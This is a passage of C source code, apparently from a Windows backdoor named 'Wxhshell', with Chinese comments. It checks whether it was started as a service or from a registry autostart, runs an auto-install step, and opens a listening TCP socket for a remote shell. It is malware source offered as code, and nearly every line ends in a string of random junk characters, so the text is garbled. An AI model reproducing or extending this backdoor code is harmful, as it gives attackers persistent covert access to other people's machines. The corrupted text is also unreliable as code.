} PROCESS_BASIC_INFORMATION; Qu"8(Jk/
S\^Pha
q
PROCNTQSIP NtQueryInformationProcess; 32(^Te]:
oF vfCrd
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]v?@g:iE
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ['b}QW@Fx
Z/G
ev"p
HANDLE hProcess; Ah1]Y}sy
PROCESS_BASIC_INFORMATION pbi; M
"ui0
ac
hz{`h
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BfXgh'Z~
if(NULL == hInst ) return 0; K>
%Tq
CVDV)#JA
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 36.Z0Z1'F>
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ke!?BZx
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'Oxy$U
XUrXnz|>
if (!NtQueryInformationProcess) return 0; PG2: ~$L0
.7^c@i[
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .4S.>~^7
if(!hProcess) return 0; ]z;P9B3@&
6S},(=
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sZ'nYo
H!c@klD
CloseHandle(hProcess); u+dLaVlLJ
} FE>|1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k3~}7]O)
if(hProcess==NULL) return 0; b jy Zk_\
GL&y@6
HMODULE hMod; K:J3Z5"
char procName[255]; QZ!Y2Bz(4
unsigned long cbNeeded; 6=kEyJT'
L]yS[UN$
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {GvJZ!,RCg
SfA\}@3
CloseHandle(hProcess); \S_Ou
G3txj
if(strstr(procName,"services")) return 1; // 以服务启动 }#3V+X
B)$| vK=
return 0; // 注册表启动 S&e0u%8mc
} I) rCd/
e4-@f%5
// 主模块 r`$OO,W
int StartWxhshell(LPSTR lpCmdLine) ht|z<XJ
{ T=<@]$?
SOCKET wsl; '-QwssE
BOOL val=TRUE; 02Y]`CXj
int port=0; ~Cbc<[}
struct sockaddr_in door; AJt+p&I[J
`K*Q5n
if(wscfg.ws_autoins) Install(); Qd)q([
uOKCAqYa
port=atoi(lpCmdLine); zy?.u.4L
N%kt3vmQ_
if(port<=0) port=wscfg.ws_port; \$R_YKGf1G
{]*c29b>
WSADATA data; hZdoc<
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `CBZhI%%
"/yC@VC>
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; !1rlN8w(qr
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^/uA?h:]\
door.sin_family = AF_INET; ~3^
8>d/
door.sin_addr.s_addr = inet_addr("127.0.0.1"); YD<:,|H
door.sin_port = htons(port); Moy <@+
svsq g{9z
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -#7'r<I9@
closesocket(wsl); LuNc,n%
return 1; D!@Ciw
} *lYVY)L
B#exHf8
if(listen(wsl,2) == INVALID_SOCKET) { A mvEf
closesocket(wsl); }\hVy(\c
return 1; x`U^OLV
} d+<G1w&